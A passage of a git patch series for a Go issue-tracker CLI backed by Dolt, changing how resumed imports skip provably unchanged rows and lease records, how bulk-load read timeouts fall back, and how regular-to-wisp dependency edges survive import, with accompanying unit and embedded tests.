= importResult.Created + importResult.Unchanged } return result, nil diff --git a/cmd/bd/import_shared_unit_test.go b/cmd/bd/import_shared_unit_test.go index 07c9f8f2e..255b535a8 100644 --- a/cmd/bd/import_shared_unit_test.go +++ b/cmd/bd/import_shared_unit_test.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "os" "path/filepath" "strings" @@ -26,6 +27,16 @@ func (f *fakeImportIssueLookupStore) GetIssuesByIDs(_ context.Context, _ []strin return f.issues, nil } +// The embedded nil storage.DoltStorage would satisfy importRelationLookup and +// panic on call; opt the plain fake out explicitly so tie rows are rewritten. +func (f *fakeImportIssueLookupStore) GetCommentsForIssues(_ context.Context, _ []string) (map[string][]*types.Comment, error) { + return nil, errImportRelationsUnavailable +} + +func (f *fakeImportIssueLookupStore) GetDependencyRecordsForIssues(_ context.Context, _ []string) (map[string][]*types.Dependency, error) { + return nil, errImportRelationsUnavailable +} + func (f *fakeImportIssueLookupStore) CreateIssuesWithFullOptions(_ context.Context, issues []*types.Issue, _ string, opts storage.BatchCreateOptions) error { f.created = append(f.created, issues...) f.createOpts = append(f.createOpts, opts) @@ -630,3 +641,148 @@ func TestRunImportInnerRejectsRedirectedStdinWithoutSource(t *testing.T) { } }) } + +// fakeImportRelationStore adds the optional bulk aux loaders the resume fast +// path (wy-sbgucn) proves rows unchanged with. +type fakeImportRelationStore struct { + fakeImportIssueLookupStore + comments map[string][]*types.Comment + deps map[string][]*types.Dependency + loads int +} + +func (f *fakeImportRelationStore) GetCommentsForIssues(_ context.Context, _ []string) (map[string][]*types.Comment, error) { + f.loads++ + return f.comments, nil +} + +func (f *fakeImportRelationStore) GetDependencyRecordsForIssues(_ context.Context, _ []string) (map[string][]*types.Dependency, error) { + f.loads++ + return f.deps, nil +} + +// wy-sbgucn: a re-run of an interrupted chunked import must not rewrite the +// committed prefix. A tie row (same updated_at, same columns) whose labels, +// comments and dependencies are all already stored is provably a no-op write +// and leaves the write set; any aux row not yet stored keeps the row in. +func TestFilterStaleImportIssuesSkipsProvenUnchangedRowsOnResume(t *testing.T) { + base := time.Date(2026, 8, 31, 14, 0, 0, 0, time.UTC) + commentAt := base.Add(-time.Hour) + mk := func(id string) *types.Issue { + return &types.Issue{ + ID: id, Title: "row " + id, UpdatedAt: base, + Labels: []string{"lane:beads", "tier:fable"}, + Comments: []*types.Comment{{ID: "c-" + id, Author: "cat", Text: "drill", CreatedAt: commentAt}}, + Dependencies: []*types.Dependency{{IssueID: id, DependsOnID: "bd-root", Type: types.DepBlocks}}, + } + } + incoming := []*types.Issue{mk("bd-same"), mk("bd-nocomment"), mk("bd-nodep"), mk("bd-nolabel"), mk("bd-new")} + local := func(id string, labels ...string) *types.Issue { + return &types.Issue{ID: id, Title: "row " + id, UpdatedAt: base, Labels: labels} + } + storedComment := []*types.Comment{{ID: "other-id", IssueID: "x", Author: "cat", Text: "drill", CreatedAt: commentAt.Add(500 * time.Millisecond)}} + storedDep := []*types.Dependency{{DependsOnID: "bd-root", Type: types.DepBlocks}} + store := &fakeImportRelationStore{ + fakeImportIssueLookupStore: fakeImportIssueLookupStore{issues: []*types.Issue{ + local("bd-same", "tier:fable", "lane:beads"), + local("bd-nocomment", "lane:beads", "tier:fable"), + local("bd-nodep", "lane:beads", "tier:fable"), + local("bd-nolabel", "lane:beads"), + }}, + comments: map[string][]*types.Comment{"bd-same": storedComment, "bd-nodep": storedComment, "bd-nolabel": storedComment}, + deps: map[string][]*types.Dependency{"bd-same": storedDep, "bd-nocomment": storedDep, "bd-nolabel": storedDep}, + } + + filtered, skippedIDs, plan, err := filterStaleImportIssues(context.Background(), store, incoming) + if err != nil { + t.Fatalf("filterStaleImportIssues: %v", err) + } + if len(skippedIDs) != 0 { + t.Fatalf("skippedIDs = %#v, want none (nothing is stale)", skippedIDs) + } + var kept []string + for _, issue := range filtered { + kept = append(kept, issue.ID) + } + want := []string{"bd-nocomment", "bd-nodep", "bd-nolabel", "bd-new"} + if strings.Join(kept, ",") != strings.Join(want, ",") { + t.Fatalf("write set = %v, want %v (only the provably stored row leaves it, order preserved)", kept, want) + } + if len(plan.Unchanged) != 1 || plan.Unchanged[0] != "bd-same" { + t.Fatalf("plan.Unchanged = %#v, want [bd-same]", plan.Unchanged) + } + if len(plan.TieKeptLocal) != 0 || len(plan.Updates) != 0 { + t.Fatalf("plan = %+v, want no tie conflicts or updates", plan) + } + if store.loads != 2 { + t.Fatalf("aux loads = %d, want exactly one comment load + one dependency load", store.loads) + } +} + +// A fresh import (no local match) must not pay for the aux loads at all, and +// a store without the bulk loaders keeps the pre-wy-sbgucn behavior: every +// tie row stays in the write set. +func TestFilterStaleImportIssuesResumeFastPathIsOptIn(t *testing.T) { + base := time.Date(2026, 8, 31, 14, 0, 0, 0, time.UTC) + incoming := []*types.Issue{{ID: "bd-tie", Title: "t", UpdatedAt: base}, {ID: "bd-new", Title: "n", UpdatedAt: base}} + + fresh := &fakeImportRelationStore{} + filtered, _, plan, err := filterStaleImportIssues(context.Background(), fresh, incoming) + if err != nil { + t.Fatalf("fresh: %v", err) + } + if len(filtered) != 2 || fresh.loads != 0 || len(plan.Unchanged) != 0 { + t.Fatalf("fresh import: kept %d rows, %d aux loads, unchanged %v; want 2 rows, 0 loads, none", len(filtered), fresh.loads, plan.Unchanged) + } + + plain := &fakeImportIssueLookupStore{issues: []*types.Issue{{ID: "bd-tie", Title: "t", UpdatedAt: base}}} + filtered, _, plan, err = filterStaleImportIssues(context.Background(), plain, incoming) + if err != nil { + t.Fatalf("plain: %v", err) + } + if len(filtered) != 2 || len(plan.Unchanged) != 0 { + t.Fatalf("store without bulk loaders: kept %d rows, unchanged %v; want both rows rewritten", len(filtered), plan.Unchanged) + } + + // A real read failure is not an opt-out: it stops the import. + broken := &failingImportRelationStore{fakeImportIssueLookupStore: plain} + if _, _, _, err := filterStaleImportIssues(context.Background(), broken, incoming); err == nil || !strings.Contains(err.Error(), "check existing comments before import") { + t.Fatalf("read failure: err = %v, want the comment-load failure surfaced", err) + } +} + +type failingImportRelationStore struct{ *fakeImportIssueLookupStore } + +func (f *failingImportRelationStore) GetCommentsForIssues(_ context.Context, _ []string) (map[string][]*types.Comment, error) { + return nil, errors.New("connection lost") +} + +// The real import's result carries the skipped-as-unchanged count so the +// resume reports what it did not have to rewrite. +func TestImportIssuesCoreReportsUnchangedRowsOnResume(t *testing.T) { + base := time.Date(2026, 8, 31, 14, 0, 0, 0, time.UTC) + incoming := []*types.Issue{{ID: "bd-same", Title: "t", UpdatedAt: base}, {ID: "bd-new", Title: "n", UpdatedAt: base}} + store := &fakeImportRelationStore{fakeImportIssueLookupStore: fakeImportIssueLookupStore{issues: []*types.Issue{{ID: "bd-same", Title: "t", UpdatedAt: base}}}} + result, err := importIssuesCore(context.Background(), "", store, incoming, ImportOptions{SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("importIssuesCore: %v", err) + } + if result.Created != 1 || result.Unchanged != 1 || len(result.ImportedIDs) != 1 || result.ImportedIDs[0] != "bd-new" { + t.Fatalf("result = %+v, want Created 1 (bd-new), Unchanged 1", result) + } + if len(store.created) != 1 || store.created[0].ID != "bd-new" { + t.Fatalf("written rows = %v, want only bd-new", store.created) + } +} + +func TestBulkLoadPoolReadTimeoutOnlyForImport(t *testing.T) { + if got := bulkLoadPoolReadTimeout(importCmd); got != importPoolReadTimeout { + t.Fatalf("import fallback = %v, want %v", got, importPoolReadTimeout) + } + if got := bulkLoadPoolReadTimeout(exportCmd); got != 0 { + t.Fatalf("export fallback = %v, want 0 (pool default)", got) + } + if got := bulkLoadPoolReadTimeout(nil); got != 0 { + t.Fatalf("nil cmd fallback = %v, want 0", got) + } +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 84e805151..d4f946395 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1476,6 +1476,9 @@ var rootCmd = &cobra.Command{ DisableAutoStart: policy.disableAutoStart, BeadsDir: beadsDir, LenientOpen: isWorkingSetReconcileCommand(cmd), + // Bulk loads outlive the pool's 10s fast-fail on every server + // pause (wy-sbgucn); explicit env/config settings still win. + PoolReadTimeoutFallback: bulkLoadPoolReadTimeout(cmd), } // Load config to get database name and server connection settings. diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 1ce328b32..2a7604445 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -486,6 +486,15 @@ type Config struct { // execWithLongTimeout/openLongTimeoutConn instead. PoolReadTimeout time.Duration PoolWriteTimeout time.Duration + + // PoolReadTimeoutFallback replaces the built-in 10s pool read deadline + // ONLY when nothing else set PoolReadTimeout — not the caller, not + // BEADS_DOLT_POOL_READ_TIMEOUT, not dolt.pool-read-timeout. It lets a + // command whose ordinary statements are known to run long (bd import's + // chunk commits, which a server-side auto_gc pause stretches past 10s — + // wy-sbgucn) raise its own default without overriding an operator's + // explicit choice. 0 = keep the built-in default. + PoolReadTimeoutFallback time.Duration } // Defaults for the *sql.DB connection pool. Exported for tests/callers that @@ -2207,6 +2216,9 @@ func buildServerDSN(cfg *Config, database string) string { return base.String() } parsed.ReadTimeout = defaultPoolReadTimeout + if cfg.PoolReadTimeoutFallback > 0 { + parsed.ReadTimeout = cfg.PoolReadTimeoutFallback + } if cfg.PoolReadTimeout > 0 { parsed.ReadTimeout = cfg.PoolReadTimeout } diff --git a/internal/storage/dolt/store_unit_test.go b/internal/storage/dolt/store_unit_test.go index 253c011e4..22bfb9f01 100644 --- a/internal/storage/dolt/store_unit_test.go +++ b/internal/storage/dolt/store_unit_test.go @@ -799,3 +799,30 @@ func TestShouldStopAutoStartedServerOnClose(t *testing.T) { } }) } + +// wy-sbgucn: PoolReadTimeoutFallback replaces the built-in 10s pool read +// deadline only when nothing set PoolReadTimeout; an explicit setting wins. +func TestBuildServerDSN_PoolReadTimeoutFallback(t *testing.T) { + base := &Config{ServerHost: "127.0.0.1", ServerPort: 13390, ServerUser: "root", Database: "wy"} + parse := func(cfg *Config) time.Duration { + t.Helper() + parsed, err := mysql.ParseDSN(buildServerDSN(cfg, cfg.Database)) + if err != nil { + t.Fatalf("ParseDSN: %v", err) + } + return parsed.ReadTimeout + } + if got := parse(base); got != defaultPoolReadTimeout { + t.Fatalf("no settings: ReadTimeout = %v, want built-in %v", got, defaultPoolReadTimeout) + } + fb := *base + fb.PoolReadTimeoutFallback = 5 * time.Minute + if got := parse(&fb); got != 5*time.Minute { + t.Fatalf("fallback only: ReadTimeout = %v, want 5m", got) + } + explicit := fb + explicit.PoolReadTimeout = 20 * time.Second + if got := parse(&explicit); got != 20*time.Second { + t.Fatalf("explicit + fallback: ReadTimeout = %v, want the explicit 20s", got) + } +} From 37ecb53eda0a03648126f52d543cfb0798bf5ba0 Mon Sep 17 00:00:00 2001 From: plato Date: Tue, 1 Sep 2026 02:31:26 -0700 Subject: [PATCH 005/624] fix(import): resume fast path proves the lease row untouched too (wy-sbgucn) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fable review wy-03ne4j (BLOCKER) on e05000d64: dropping a provably-unchanged tie row from the write set also skips RestoreLeaseOnImportInTx, the only caller that reconciles the ephemeral lease row on import — but the proof covered labels, comments and dependencies only. An in_progress snapshot carrying a lease whose local lease row was absent, or differed, could be reported Unchanged and never restore or replace it. The proof now includes the lease axis (importLeaseAlreadyReconciled): a tie row leaves the write set only when the rewrite's restore would upsert nothing new — no incoming lease, no live claim, or a local lease already equal to the snapshot's (expiry, heartbeat, granting node at the store's second granularity) — and its reconcile would drop nothing (no local lease row, or a live claim that keeps it). A missing row, a differing lease, a heartbeat the write would stamp live, or an orphaned local lease all keep the row in the write set, i.e. the pre-fast-path behavior. The rollback-drill resume is unaffected: rows the interrupted run already wrote carry the snapshot's own lease values, so they still prove. Tests: TestFilterStaleImportIssuesResumeKeepsRowsNeedingLeaseReconciliation (nine lease shapes, five retained / four proven) and the second-granularity comparison; both fail against the pre-fix semantics (lease axis ignored: write set [] vs the five rows). --- cmd/bd/import_shared.go | 67 +++++++++++++++++++--- cmd/bd/import_shared_unit_test.go | 92 +++++++++++++++++++++++++++++++ 2 files changed, 150 insertions(+), 9 deletions(-) diff --git a/cmd/bd/import_shared.go b/cmd/bd/import_shared.go index c7594dcb8..85fa570ca 100644 --- a/cmd/bd/import_shared.go +++ b/cmd/bd/import_shared.go @@ -841,14 +841,18 @@ func filterStaleImportIssues(ctx context.Context, store importIssueLookup, issue // proveUnchangedImportRows returns the positions in filtered (drawn from the // candidate set) whose incoming row is provably a no-op write: the tie already -// proved the columns equal, and every incoming label, comment and dependency -// is already stored. The aux writes are all additive (INSERT IGNORE labels, -// existence-checked comments, dedup'd dependency rows), so incoming ⊆ stored -// is exactly the condition under which the rewrite would change nothing. -// Anything short of proof — a store without bulk loaders, a comment with no -// timestamp, an untyped dependency, an aux row not yet stored — keeps the row -// in the write set, i.e. today's behavior. Comments are keyed the way -// PersistComments checks existence (author, created_at as stored, text). +// proved the columns equal, the ephemeral lease row would be left exactly as +// it is (importLeaseAlreadyReconciled — the rewrite's RestoreLeaseOnImportInTx +// is skipped along with the row, so it must have had nothing to do), and every +// incoming label, comment and dependency is already stored. The aux writes are +// all additive (INSERT IGNORE labels, existence-checked comments, dedup'd +// dependency rows), so incoming ⊆ stored is exactly the condition under which +// the rewrite would change nothing. Anything short of proof — a store without +// bulk loaders, a comment with no timestamp, an untyped dependency, an aux row +// not yet stored, a lease row the rewrite would insert, replace or drop — +// keeps the row in the write set, i.e. today's behavior. Comments are keyed +// the way PersistComments checks existence (author, created_at as stored, +// text). func proveUnchangedImportRows(ctx context.Context, store importIssueLookup, filtered []*types.Issue, candidates map[int]struct{}, localByID map[string]*types.Issue) (map[int]struct{}, error) { rel, ok := store.(importRelationLookup) if !ok { @@ -886,13 +890,58 @@ func proveUnchangedImportRows(ctx context.Context, store importIssueLookup, filt if local == nil { continue } - if importAuxAlreadyStored(issue, local, comments[issue.ID], deps[issue.ID]) { + if importLeaseAlreadyReconciled(issue, local) && importAuxAlreadyStored(issue, local, comments[issue.ID], deps[issue.ID]) { unchanged[pos] = struct{}{} } } return unchanged, nil } +// importLeaseAlreadyReconciled reports whether RestoreLeaseOnImportInTx would +// leave the local lease row untouched if it ran over this tie row — the +// condition under which skipping the rewrite (and with it the lease +// reconciliation) changes nothing. The tie already proved status and assignee +// equal, so the stored row the restore keys off is the local one. Local lease +// state is the leases.* overlay every issue read carries (sqlbuild.LeaseJoin); +// holder is not part of it, so a live claim is taken to hold its own lease +// row (the UpsertLeaseInTx invariant: lease row ⇔ live claim). +// +// - reconcile drops a lease row whose issue is no longer a live claim: a +// local lease on a row that is not in_progress+assigned is an orphan the +// rewrite would delete — not a no-op. +// - restore fires only when the snapshot carries a lease AND the stored row +// is a live claim. It inserts a missing row (not a no-op), leaves a live +// local lease alone, and replaces an expired one with the snapshot's +// values. Rather than reason about the clock, the proof requires the +// local lease to already equal the snapshot's (expiry, heartbeat, granting +// node, at the store's second granularity) — then the upsert is a no-op +// whichever branch it takes. A snapshot with no heartbeat would be +// stamped live on write, so it never proves. +func importLeaseAlreadyReconciled(incoming, local *types.Issue) bool { + liveClaim := local.Status == types.StatusInProgress && local.Assignee != "" + if local.LeaseExpiresAt != nil && !liveClaim { + return false // reconcile would drop the orphaned lease row + } + if incoming.LeaseExpiresAt == nil || !liveClaim { + return true // nothing to restore; a live claim keeps its local row + } + if local.LeaseExpiresAt == nil || incoming.HeartbeatAt == nil { + return false // restore would insert the row / stamp a live heartbeat + } + return timePtrEqualSecond(local.LeaseExpiresAt, incoming.LeaseExpiresAt) && + timePtrEqualSecond(local.HeartbeatAt, incoming.HeartbeatAt) && + local.LeaseGrantedNode == incoming.LeaseGrantedNode +} + +// timePtrEqualSecond compares two optional timestamps at the DATETIME(0) +// granularity the leases table stores them with. +func timePtrEqualSecond(a, b *time.Time) bool { + if a == nil || b == nil { + return a == nil && b == nil + } + return a.UTC().Truncate(time.Second).Equal(b.UTC().Truncate(time.Second)) +} + func importAuxAlreadyStored(incoming, local *types.Issue, storedComments []*types.Comment, storedDeps []*types.Dependency) bool { stored := make(map[string]struct{}, len(local.Labels)) for _, l := range local.Labels { diff --git a/cmd/bd/import_shared_unit_test.go b/cmd/bd/import_shared_unit_test.go index 255b535a8..2c7d2f7ab 100644 --- a/cmd/bd/import_shared_unit_test.go +++ b/cmd/bd/import_shared_unit_test.go @@ -786,3 +786,95 @@ func TestBulkLoadPoolReadTimeoutOnlyForImport(t *testing.T) { t.Fatalf("nil cmd fallback = %v, want 0", got) } } + +// wy-sbgucn (Fable review wy-03ne4j BLOCKER): dropping a tie row from the +// write set also bypasses RestoreLeaseOnImportInTx, so the proof must cover +// the ephemeral lease row too. A row is provably unchanged on the lease axis +// only when the rewrite's restore would upsert nothing new (no incoming +// lease, no live claim, or the local lease already equals the snapshot's) and +// its reconcile would drop nothing (no local lease row, or a live claim that +// keeps it). Every other shape stays in the write set. +func TestFilterStaleImportIssuesResumeKeepsRowsNeedingLeaseReconciliation(t *testing.T) { + base := time.Date(2026, 8, 31, 14, 0, 0, 0, time.UTC) + expires := base.Add(30 * time.Minute) + beat := base.Add(-time.Minute) + otherExpires := expires.Add(time.Hour) + claimed := func(id string, leaseExpires, heartbeat *time.Time, node string) *types.Issue { + return &types.Issue{ + ID: id, Title: "row " + id, UpdatedAt: base, + Status: types.StatusInProgress, Assignee: "plato", + LeaseExpiresAt: leaseExpires, HeartbeatAt: heartbeat, LeaseGrantedNode: node, + } + } + open := func(id string, leaseExpires, heartbeat *time.Time) *types.Issue { + return &types.Issue{ + ID: id, Title: "row " + id, UpdatedAt: base, Status: types.StatusOpen, + LeaseExpiresAt: leaseExpires, HeartbeatAt: heartbeat, + } + } + incoming := []*types.Issue{ + claimed("bd-lease-missing", &expires, &beat, "studio"), // restore would INSERT the lease row + claimed("bd-lease-equal", &expires, &beat, "studio"), // lease row already identical + claimed("bd-lease-differs", &expires, &beat, "studio"), // local lease differs (expiry) + claimed("bd-lease-node", &expires, &beat, "studio"), // local lease differs (granting node) + claimed("bd-lease-nobeat", &expires, nil, "studio"), // snapshot heartbeat would be stamped live + claimed("bd-lease-local-only", nil, nil, ""), // live claim keeps its local lease + open("bd-lease-orphan", nil, nil), // reconcile would DROP the orphaned lease row + open("bd-lease-none", nil, nil), // nothing on either side + open("bd-lease-snapshot-open", &expires, &beat), // restore only fires for a live claim + } + store := &fakeImportRelationStore{ + fakeImportIssueLookupStore: fakeImportIssueLookupStore{issues: []*types.Issue{ + claimed("bd-lease-missing", nil, nil, ""), + claimed("bd-lease-equal", &expires, &beat, "studio"), + claimed("bd-lease-differs", &otherExpires, &beat, "studio"), + claimed("bd-lease-node", &expires, &beat, "mini"), + claimed("bd-lease-nobeat", &expires, &beat, "studio"), + claimed("bd-lease-local-only", &expires, &beat, "studio"), + open("bd-lease-orphan", &expires, &beat), + open("bd-lease-none", nil, nil), + open("bd-lease-snapshot-open", nil, nil), + }}, + } + + filtered, skippedIDs, plan, err := filterStaleImportIssues(context.Background(), store, incoming) + if err != nil { + t.Fatalf("filterStaleImportIssues: %v", err) + } + if len(skippedIDs) != 0 { + t.Fatalf("skippedIDs = %#v, want none (nothing is stale)", skippedIDs) + } + var kept []string + for _, issue := range filtered { + kept = append(kept, issue.ID) + } + wantKept := []string{"bd-lease-missing", "bd-lease-differs", "bd-lease-node", "bd-lease-nobeat", "bd-lease-orphan"} + if strings.Join(kept, ",") != strings.Join(wantKept, ",") { + t.Fatalf("write set = %v, want %v (every row whose lease row the rewrite would touch)", kept, wantKept) + } + wantUnchanged := []string{"bd-lease-equal", "bd-lease-local-only", "bd-lease-none", "bd-lease-snapshot-open"} + if strings.Join(plan.Unchanged, ",") != strings.Join(wantUnchanged, ",") { + t.Fatalf("plan.Unchanged = %v, want %v", plan.Unchanged, wantUnchanged) + } + if len(plan.TieKeptLocal) != 0 || len(plan.Updates) != 0 { + t.Fatalf("plan = %+v, want no tie conflicts or updates", plan) + } +} + +// Lease timestamps are DATETIME(0) in the store: a sub-second component on +// the snapshot side must not defeat the equality proof. +func TestImportLeaseAlreadyReconciledComparesAtSecondGranularity(t *testing.T) { + base := time.Date(2026, 8, 31, 14, 0, 0, 0, time.UTC) + expires, beat := base.Add(30*time.Minute), base.Add(-time.Minute) + expiresSub, beatSub := expires.Add(400*time.Millisecond), beat.Add(999*time.Millisecond) + local := &types.Issue{ID: "bd-x", Status: types.StatusInProgress, Assignee: "plato", LeaseExpiresAt: &expires, HeartbeatAt: &beat, LeaseGrantedNode: "studio"} + incoming := &types.Issue{ID: "bd-x", Status: types.StatusInProgress, Assignee: "plato", LeaseExpiresAt: &expiresSub, HeartbeatAt: &beatSub, LeaseGrantedNode: "studio"} + if !importLeaseAlreadyReconciled(incoming, local) { + t.Fatalf("sub-second snapshot lease timestamps must still prove the lease row unchanged") + } + nextSecond := expires.Add(time.Second) + incoming.LeaseExpiresAt = &nextSecond + if importLeaseAlreadyReconciled(incoming, local) { + t.Fatalf("a lease expiry one second apart is a different lease row") + } +} From 3bde73ac9a5b4000faf493ebce9e8b2e882921d5 Mon Sep 17 00:00:00 2001 From: plato Date: Tue, 1 Sep 2026 02:54:35 -0700 Subject: [PATCH 006/624] test(import): cover the two lease-proof blind spots (wy-sbgucn) The opus-adv pass on 37ecb53ed found by mutation that the lease-proof test still passed with the `Assignee != ""` half of liveClaim dropped, and with the heartbeat equality clause dropped. Two fixture rows close both: an in_progress but unassigned local row holding a lease (its row is an orphan the reconcile would drop) and a local lease differing only in heartbeat_at. --- cmd/bd/import_shared_unit_test.go | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/cmd/bd/import_shared_unit_test.go b/cmd/bd/import_shared_unit_test.go index 2c7d2f7ab..ec4c292dd 100644 --- a/cmd/bd/import_shared_unit_test.go +++ b/cmd/bd/import_shared_unit_test.go @@ -799,6 +799,7 @@ func TestFilterStaleImportIssuesResumeKeepsRowsNeedingLeaseReconciliation(t *tes expires := base.Add(30 * time.Minute) beat := base.Add(-time.Minute) otherExpires := expires.Add(time.Hour) + otherBeat := beat.Add(-time.Minute) claimed := func(id string, leaseExpires, heartbeat *time.Time, node string) *types.Issue { return &types.Issue{ ID: id, Title: "row " + id, UpdatedAt: base, @@ -806,6 +807,12 @@ func TestFilterStaleImportIssuesResumeKeepsRowsNeedingLeaseReconciliation(t *tes LeaseExpiresAt: leaseExpires, HeartbeatAt: heartbeat, LeaseGrantedNode: node, } } + unassigned := func(id string, leaseExpires, heartbeat *time.Time) *types.Issue { + return &types.Issue{ + ID: id, Title: "row " + id, UpdatedAt: base, Status: types.StatusInProgress, + LeaseExpiresAt: leaseExpires, HeartbeatAt: heartbeat, + } + } open := func(id string, leaseExpires, heartbeat *time.Time) *types.Issue { return &types.Issue{ ID: id, Title: "row " + id, UpdatedAt: base, Status: types.StatusOpen, @@ -817,9 +824,11 @@ func TestFilterStaleImportIssuesResumeKeepsRowsNeedingLeaseReconciliation(t *tes claimed("bd-lease-equal", &expires, &beat, "studio"), // lease row already identical claimed("bd-lease-differs", &expires, &beat, "studio"), // local lease differs (expiry) claimed("bd-lease-node", &expires, &beat, "studio"), // local lease differs (granting node) + claimed("bd-lease-beat", &expires, &beat, "studio"), // local lease differs (heartbeat only) claimed("bd-lease-nobeat", &expires, nil, "studio"), // snapshot heartbeat would be stamped live claimed("bd-lease-local-only", nil, nil, ""), // live claim keeps its local lease open("bd-lease-orphan", nil, nil), // reconcile would DROP the orphaned lease row + unassigned("bd-lease-unassigned", nil, nil), // in_progress but unassigned: the lease row is an orphan too open("bd-lease-none", nil, nil), // nothing on either side open("bd-lease-snapshot-open", &expires, &beat), // restore only fires for a live claim } @@ -829,9 +838,11 @@ func TestFilterStaleImportIssuesResumeKeepsRowsNeedingLeaseReconciliation(t *tes claimed("bd-lease-equal", &expires, &beat, "studio"), claimed("bd-lease-differs", &otherExpires, &beat, "studio"), claimed("bd-lease-node", &expires, &beat, "mini"), + claimed("bd-lease-beat", &expires, &otherBeat, "studio"), claimed("bd-lease-nobeat", &expires, &beat, "studio"), claimed("bd-lease-local-only", &expires, &beat, "studio"), open("bd-lease-orphan", &expires, &beat), + unassigned("bd-lease-unassigned", &expires, &beat), open("bd-lease-none", nil, nil), open("bd-lease-snapshot-open", nil, nil), }}, @@ -848,7 +859,7 @@ func TestFilterStaleImportIssuesResumeKeepsRowsNeedingLeaseReconciliation(t *tes for _, issue := range filtered { kept = append(kept, issue.ID) } - wantKept := []string{"bd-lease-missing", "bd-lease-differs", "bd-lease-node", "bd-lease-nobeat", "bd-lease-orphan"} + wantKept := []string{"bd-lease-missing", "bd-lease-differs", "bd-lease-node", "bd-lease-beat", "bd-lease-nobeat", "bd-lease-orphan", "bd-lease-unassigned"} if strings.Join(kept, ",") != strings.Join(wantKept, ",") { t.Fatalf("write set = %v, want %v (every row whose lease row the rewrite would touch)", kept, wantKept) } From 2878c5373ce7b75b03fb447ee04e6a9d2915b3e7 Mon Sep 17 00:00:00 2001 From: homer Date: Tue, 1 Sep 2026 03:00:06 -0700 Subject: [PATCH 007/624] fix(import): keep regular<->wisp dependency edges on import (wy-4276q8) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit bd import dropped every dependency edge joining a regular issue and a wisp whenever both endpoints were in the import file: importIssuesChunked ran issueops.FilterCreateIssuesMixedBucketDependencies over the whole file up front, skip-reporting the edge, and a re-run could never backfill it. The wy-9we0jf rollback drill lost all 22 such `blocks` edges among the rows it imported (33 in the full export) — the only edges with both endpoints present that did not round-trip. The engine refuses such an edge only when both endpoints are created in the same batch (regular rows and wisps commit on separate transactions, so the target is invisible to the edge's existence check); a committed target on the other plane is found. So the import now defers a cross-bucket edge whose target is first written in the same chunk to the dependency pass, wires one into an earlier chunk inline, writes the dependency pass in single-plane transactions so no batch holds a cross-bucket edge's target, and routes a small (single-transaction) import through the chunked path when it carries such an edge. Tests: mock tests pin the deferral, the single-plane pass and the small-path routing; the embedded test that asserted the drop now asserts the edge is wired; a new embedded test replays the drill shape (crash before the dependency pass, re-run backfills); the jsonl subtest flips likewise. Proxied-mode import (one ImportBatch) still drops these edges — follow-up. --- cmd/bd/import_chunking_embedded_test.go | 159 ++++++++++++++---- cmd/bd/import_chunking_test.go | 214 +++++++++++++++++++++++- cmd/bd/import_from_jsonl_test.go | 14 +- cmd/bd/import_shared.go | 180 ++++++++++++++++---- 4 files changed, 492 insertions(+), 75 deletions(-) diff --git a/cmd/bd/import_chunking_embedded_test.go b/cmd/bd/import_chunking_embedded_test.go index bd7b38795..74ec7f1e3 100644 --- a/cmd/bd/import_chunking_embedded_test.go +++ b/cmd/bd/import_chunking_embedded_test.go @@ -7,7 +7,6 @@ import ( "errors" "fmt" "os" - "strings" "testing" "time" @@ -567,19 +566,22 @@ func TestImportChunkedStaleRejectedRowKeepsDeferredDepsOut(t *testing.T) { } } -// A chunked import mixing regular issues and wisps must apply the cross-bucket -// dependency policy over the FULL logical set, not per chunk. Dependencies are -// stored in per-bucket tables (dependencies vs wisp_dependencies), so a batch -// cannot create a regular<->wisp edge atomically; the engine's per-chunk filter -// only sees one chunk and short-circuits on an all-one-bucket chunk, so it can -// no longer catch a cross-bucket edge whose endpoints land in different chunks. -// The up-front FilterCreateIssuesMixedBucketDependencies pass exists for exactly -// that case. This exercises it end to end against the real engine: a regular -> -// wisp edge straddling a chunk boundary must be skip-reported while both rows -// still import, and a same-bucket wisp -> wisp edge straddling the same boundary -// must survive the double filtering and be wired. Regression for the attempt-1 -// test-evidence finding (the prior chunked tests seeded only regular issues). -func TestImportChunkedMixedRegularWispCrossBucketFiltering(t *testing.T) { +// Cross-bucket (regular<->wisp) edges across a chunk boundary. The engine's +// per-batch cross-bucket filter (issueops.filterCreateIssuesMixedBucketDependencies) +// skip-reports a regular<->wisp edge whose endpoints are both rows of one mixed +// batch and short-circuits on a single-plane batch. The import used to apply +// that filter over the FULL set up front and so dropped every such edge; it now +// defers the edge to a single-plane dependency pass. This exercises it end to +// end against the real engine: a regular -> wisp edge straddling a chunk +// boundary must be wired, not skip-reported, and a same-bucket wisp -> wisp +// edge straddling the same boundary must survive as before. +// A regular<->wisp edge between two rows of the import is never dropped: the +// engine's per-batch cross-bucket filter would skip-report it when both +// endpoints are rows of one mixed batch, so the import defers it to a +// single-plane dependency pass where the target is a committed row outside +// the batch (wy-4276q8). Pre-fix the up-front cross-bucket filter dropped +// it and skip-reported it, and every export→import lost such edges for good. +func TestImportChunkedMixedRegularWispCrossBucketEdgesWired(t *testing.T) { requireEmbeddedDolt(t) setImportChunkSize(t, 5) recordImportPauses(t) @@ -614,8 +616,8 @@ func TestImportChunkedMixedRegularWispCrossBucketFiltering(t *testing.T) { mk("bd-chunk11", false), // chunk 2 mk("bd-chunk12", false), // chunk 2 } - // Cross-bucket regular -> wisp, endpoints in different chunks: only the - // up-front full-set filter can see both ends, so it must be skip-reported. + // Cross-bucket regular -> wisp, endpoints in different chunks: deferred + // to the dependency pass and wired there, never skip-reported. issues[0].Dependencies = []*types.Dependency{{IssueID: issues[0].ID, DependsOnID: "bd-wisp07", Type: types.DepRelated}} // Same-bucket wisp -> wisp, endpoints in different chunks: must survive the // double filtering and be wired into wisp_dependencies. @@ -628,26 +630,24 @@ func TestImportChunkedMixedRegularWispCrossBucketFiltering(t *testing.T) { if err != nil { t.Fatalf("importIssuesCore: %v", err) } - // 3 row chunks (5/5/2) plus one deferred-dependency pass for the surviving - // same-bucket cross-chunk edge — so the endpoints really did straddle a - // boundary and the deferred pass really ran. - if counting.calls != 4 { - t.Fatalf("calls = %d, want 3 row chunks + 1 